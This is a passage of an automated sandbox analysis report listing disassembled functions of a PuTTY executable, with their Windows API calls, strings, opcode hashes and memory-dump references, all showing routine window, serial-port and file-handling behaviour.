Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: BreakClearCloseCommHandle
String ID: End of file reading from serial device$Error reading from serial device
API String ID: 2685284230-2629609604
Opcode ID: 6b940f01f1906fba524d6160f98413788f3c4b408632774ccdbae814a42b0c1e
Instruction ID: 669d8681720e16f6eb4f8e1419aff96a37f96ec6308d8fb75294e247eb96a99d
Opcode Fuzzy Hash: 6b940f01f1906fba524d6160f98413788f3c4b408632774ccdbae814a42b0c1e
Instruction Fuzzy Hash: 7221F923725A0651EA209B36E45477B6B60AF84BF0F244231CF6D837E5DF2CD8419304

Function 00007FF6785D5F70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetMonitorInfoA.USER32 ref: 00007FF6785D5FBC
GetDesktopWindow.USER32 ref: 00007FF6785D5FCE
GetClientRect.USER32 ref: 00007FF6785D5FDA

Strings

(, xrefs: 00007FF6785D5FAC

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ClientDesktopInfoMonitorRectWindow
String ID: (
API String ID: 2130016935-3887548279
Opcode ID: 869da3f85202917f2c61634726657b6b3a3b36bd00f5317e1fd6675bc692818f
Instruction ID: 2d816725d9b81cbdfc30d559e0bd51fd9aefde6fe550eb6bfccb9914ba1a0445
Opcode Fuzzy Hash: 869da3f85202917f2c61634726657b6b3a3b36bd00f5317e1fd6675bc692818f
Instruction Fuzzy Hash: FE01FC22A2C74251FA104B31F84937A7B50BF54B54F645134DE4CC6764DF3CE9C59B04

Function 00007FF6785D7A30 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67869C0A4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF67868D346,?,?,?,00007FF67868D367,?,?,?,00007FF67868E81E), ref: 00007FF67869C0CA

GetDC.USER32 ref: 00007FF6785D7A74
SelectPalette.GDI32 ref: 00007FF6785D7A8F

Part of subcall function 00007FF67869B8AC: _set_error_mode.LIBCMT ref: 00007FF67869B8D3

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c, xrefs: 00007FF6785D7A56
!wintw_hdc, xrefs: 00007FF6785D7A4F

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: FeaturePalettePresentProcessorSelect_set_error_mode
String ID: !wintw_hdc$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c
API String ID: 1342517984-2668247132
Opcode ID: c065ac4635c1f0759df8e9c676d8566245b5593f7b757a7f583dcd20f9dfe9d9
Instruction ID: 97b94297d2367effc6f6fbe07eaf0db365bc2a97493c18aea35b2f75f83ce92d
Opcode Fuzzy Hash: c065ac4635c1f0759df8e9c676d8566245b5593f7b757a7f583dcd20f9dfe9d9
Instruction Fuzzy Hash: 97F0C216E39523A0FA64AB75A8847761BA1AF54B50F354434CC0DC6B90CF2CAE95EB28

Function 00007FF678604F93 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35timeCOMMON

Download Yara Rule

APIs

SetCommState.KERNEL32 ref: 00007FF678604FDE
SetCommTimeouts.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000,?,00007FF678604C35), ref: 00007FF678605000
GetLastError.KERNEL32 ref: 00007FF67860500E
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000,?,00007FF678604C35), ref: 00007FF678605024

Strings

RTS/CTS, xrefs: 00007FF678604FA5
Configuring %s flow control, xrefs: 00007FF678604FC7

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CommErrorLast$StateTimeouts
String ID: Configuring %s flow control$RTS/CTS
API String ID: 274883806-1158513486
Opcode ID: b44b983fce4d9b2e235623982e55ae96984ee89bacc88950a70bcf185397aa82
Instruction ID: a67a6ec95193f39e2ad191d1db734ace296009eada202949c7593c40a49ef6d8
Opcode Fuzzy Hash: b44b983fce4d9b2e235623982e55ae96984ee89bacc88950a70bcf185397aa82
Instruction Fuzzy Hash: E101D863E2C50292FA20CB35E44416B6B50FF85780FB05231DA4DD6548DE7CEE81DB48

Function 00007FF678604FAE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34timeCOMMON

Download Yara Rule

APIs

SetCommState.KERNEL32 ref: 00007FF678604FDE
SetCommTimeouts.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000,?,00007FF678604C35), ref: 00007FF678605000
GetLastError.KERNEL32 ref: 00007FF67860500E
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000,?,00007FF678604C35), ref: 00007FF678605024

Strings

DSR/DTR, xrefs: 00007FF678604FBC
Configuring %s flow control, xrefs: 00007FF678604FC7

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CommErrorLast$StateTimeouts
String ID: Configuring %s flow control$DSR/DTR
API String ID: 274883806-321787297
Opcode ID: 8d2c00cf09faffd8e0b3d28f9d1cb581a55208df61ddbcf782eb45095b8adc03
Instruction ID: d0d34de230393431de3fc6d5a5302772a2e73135d37ed3a219b9d0958ac46199
Opcode Fuzzy Hash: 8d2c00cf09faffd8e0b3d28f9d1cb581a55208df61ddbcf782eb45095b8adc03
Instruction Fuzzy Hash: 0A01F723E2C60292EA21CB35E44516B6B50AF85780FB05232DE4DD665CDF7CEEC19B48

Function 00007FF678604F85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32timeCOMMON

Download Yara Rule

APIs

SetCommState.KERNEL32 ref: 00007FF678604FDE
SetCommTimeouts.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000,?,00007FF678604C35), ref: 00007FF678605000
GetLastError.KERNEL32 ref: 00007FF67860500E
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000,?,00007FF678604C35), ref: 00007FF678605024

Strings

XON/XOFF, xrefs: 00007FF678604F8A
Configuring %s flow control, xrefs: 00007FF678604FC7

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CommErrorLast$StateTimeouts
String ID: Configuring %s flow control$XON/XOFF
API String ID: 274883806-924046750
Opcode ID: a70ff8559d2b74fca675b73aac0676894a8e70ad610177dad5fa9eb6180550c0
Instruction ID: 4af5df8f4b3c0130b1293e0ab8a861f4a7d9abed3f0fea66eb28e3efd6b39ba8
Opcode Fuzzy Hash: a70ff8559d2b74fca675b73aac0676894a8e70ad610177dad5fa9eb6180550c0
Instruction Fuzzy Hash: A9F0A223E2C602A1FA218B31A40417B5B50AF85784FB05131DE4DD664CDE7CEE81AB48

Function 00007FF6785D9320 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00007FF6785D9375
CloseHandle.KERNEL32 ref: 00007FF6785D9383

Part of subcall function 00007FF67869B8AC: _set_error_mode.LIBCMT ref: 00007FF67869B8D3

Strings

clipboard == CLIP_SYSTEM, xrefs: 00007FF6785D9338
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c, xrefs: 00007FF6785D933F

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CloseCreateHandleThread_set_error_mode
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c$clipboard == CLIP_SYSTEM
API String ID: 968033324-2875968380
Opcode ID: 46bf761cc5357dcfeca289972916d49e9bf58f751565e4c51b3a682671c676ec
Instruction ID: ec6186e58ff3517c28a14a58902e138403ef0df5744864ad8d3f7ff67760a53c
Opcode Fuzzy Hash: 46bf761cc5357dcfeca289972916d49e9bf58f751565e4c51b3a682671c676ec
Instruction Fuzzy Hash: E5F0A923A2964295FB54DB31E84916A2BA0FF99744FB40035D94D86794DF3CE904DB08

Function 00007FF6786B5E04 Relevance: 6.2, APIs: 4, Instructions: 159COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B5E45
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B5EC5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6786B5F19
_get_daylight.LIBCMT ref: 00007FF6786B5F71

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: 75843eea22079b8a28dd496c4e350b59208ed88a5f1ec6f92c35adb0e747cde9
Instruction ID: cd08832e28da1a50abb88f56eb824901ed8cc59cd4f03bde565ba9929e645e0e
Opcode Fuzzy Hash: 75843eea22079b8a28dd496c4e350b59208ed88a5f1ec6f92c35adb0e747cde9
Instruction Fuzzy Hash: 0651C633D2C252E6F7695938A5093FBAE44AF4071CF394135F64DC61DACE2CEC41AA4A

Function 00007FF6785F5CB0 Relevance: 6.1, APIs: 4, Instructions: 117windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F5DCC
SendDlgItemMessageA.USER32 ref: 00007FF6785F5DF2
SendDlgItemMessageA.USER32 ref: 00007FF6785F6258

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: c53fec7fff811f6bb79265c08811edeec95500fd11b080b5312f59ea6d46d473
Instruction ID: d855073c5c5856db994f446715f0de3cb84fb503920d023589598aaa122bb937
Opcode Fuzzy Hash: c53fec7fff811f6bb79265c08811edeec95500fd11b080b5312f59ea6d46d473
Instruction Fuzzy Hash: DE41E433A2955186FAA08B21A948B3E7B90FB65794F654330CE5983784DF3DAD419F08

Function 00007FF6785D9C50 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00007FF6785D9C91
GetSysColor.USER32 ref: 00007FF6785D9CE5
GetSysColor.USER32 ref: 00007FF6785D9D39
GetSysColor.USER32 ref: 00007FF6785D9D62

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Color
String ID:
API String ID: 2811717613-0
Opcode ID: 217ffbfbbca57e0f98a7bd9ebae0c02fa65dafaf6720f8fc0dea7ed2a10c52aa
Instruction ID: 32d45ca12de53dffa3750b8fd8b451ad6f5bba08d8695267321044c8a1d275de
Opcode Fuzzy Hash: 217ffbfbbca57e0f98a7bd9ebae0c02fa65dafaf6720f8fc0dea7ed2a10c52aa
Instruction Fuzzy Hash: AD31900315C2C146E331D3B9681119B6F51EBE9384F54027AEECD47B8BCD2CCA06CBA9

Function 00007FF6785D1F89 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6785FB8E0: DestroyWindow.USER32 ref: 00007FF6785FB8F7

InvalidateRect.USER32 ref: 00007FF6785D1FF6
GetClientRect.USER32 ref: 00007FF6785D200B
InvalidateRect.USER32 ref: 00007FF6785D2093
DefWindowProcW.USER32 ref: 00007FF6785D3732

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Rect$InvalidateWindow$ClientDestroyProc
String ID:
API String ID: 3789280143-0
Opcode ID: 80ad04d1cd51cbcf71c79e559fe8f0604cac8142e46c7db8df3712c76460e334
Instruction ID: 00f77244df27ce520d5ade70833b796886c6db1ef56da360245439fe69a5ca30
Opcode Fuzzy Hash: 80ad04d1cd51cbcf71c79e559fe8f0604cac8142e46c7db8df3712c76460e334
Instruction Fuzzy Hash: A7319033E2858696F754DB35E8426BA3B90AB98754F204035CD0DC7B96DD3CF985AF08

Function 00007FF6785D6BD0 Relevance: 6.0, APIs: 4, Instructions: 42windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF6785D6C21
DestroyIcon.USER32(00000000,00000000,00000000,00007FF6785D6077,?,?,?,?,00007FF67864A920,?,?,?,?,00007FF678613528), ref: 00007FF6785D6C32
DeleteObject.GDI32 ref: 00007FF6785D6C5B
CoUninitialize.OLE32(00000000,00000000,00000000,00007FF6785D6077,?,?,?,?,00007FF67864A920,?,?,?,?,00007FF678613528), ref: 00007FF6785D6C70

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: DeleteObject$DestroyIconUninitialize
String ID:
API String ID: 1128191211-0
Opcode ID: a66b6740aff3e8cf8d15a9e642f8c74887d25acfd22a1c9a1c92b402c24d2bce
Instruction ID: e173e6a12c216ec5010acf85b3decc3c14de2e2a7e3b5e274189af5aa92ba925
Opcode Fuzzy Hash: a66b6740aff3e8cf8d15a9e642f8c74887d25acfd22a1c9a1c92b402c24d2bce
Instruction Fuzzy Hash: DB11A023E28A03A0FB546F70AC842762E50AF14B70F310331D83EC61E1DE2CAC06A75C

Function 00007FF6786AE244 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 209fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 00007FF6786AE313
GetLastError.KERNEL32 ref: 00007FF6786AE4CA

Strings

MZx, xrefs: 00007FF6786AE25B, 00007FF6786AE327, 00007FF6786AE38A, 00007FF6786AE39B, 00007FF6786AE4DE

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ErrorFileLastRead
String ID: MZx
API String ID: 1948546556-2575928145
Opcode ID: a9df9c85f04fb2dd16403e166051e429f6c8123a871e395cd67d26eb5e7c112b
Instruction ID: fa153ce1c67917629dd5d4dc4562f516ca209fcff3f31e5156558a29cf9633dc
Opcode Fuzzy Hash: a9df9c85f04fb2dd16403e166051e429f6c8123a871e395cd67d26eb5e7c112b
Instruction Fuzzy Hash: 1091271BB2C6A6A5F7215A34944037E6F81AB52F94F384235CA4EC72D5CE3CDC46E306

Function 00007FF678619F10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF67861A19D

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/unicode.c, xrefs: 00007FF678619FD4
p - mbstr < mblen, xrefs: 00007FF67861A03D, 00007FF67861A07A, 00007FF67861A0EE, 00007FF67861A120

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/unicode.c$p - mbstr < mblen
API String ID: 626452242-1134606155
Opcode ID: e1f5720bcf4309deea2da40c1ac1e7931b163e311a1a09669df6bf7a2a865389
Instruction ID: c9db3498cab8fe98b59e0277a550ef950061bb310568761d71295f130662ee8d
Opcode Fuzzy Hash: e1f5720bcf4309deea2da40c1ac1e7931b163e311a1a09669df6bf7a2a865389
Instruction Fuzzy Hash: 6C61C623F3C69665EA208B22A45427BBBA1BF44B95F640035DE4DC7796DE3CE844E708

Function 00007FF6786AD230 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6786AD347
GetLastError.KERNEL32 ref: 00007FF6786AD369

Strings

U, xrefs: 00007FF6786AD2F3

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 0c5543f92d4ffb37be7eaca806808697015f89918511715fcd2ed829bb6a8460
Instruction ID: 7b9c979b324777700dc9947ae2deea6b66b3667c869afa173eee3f4301c381de
Opcode Fuzzy Hash: 0c5543f92d4ffb37be7eaca806808697015f89918511715fcd2ed829bb6a8460
Instruction Fuzzy Hash: 1C41D423B28A51A6EB109F35E4483AA6B60FB98784F504031EF4DC7758EF3CD841D745

Function 00007FF6785F9A60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F9AF6

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F9AAE
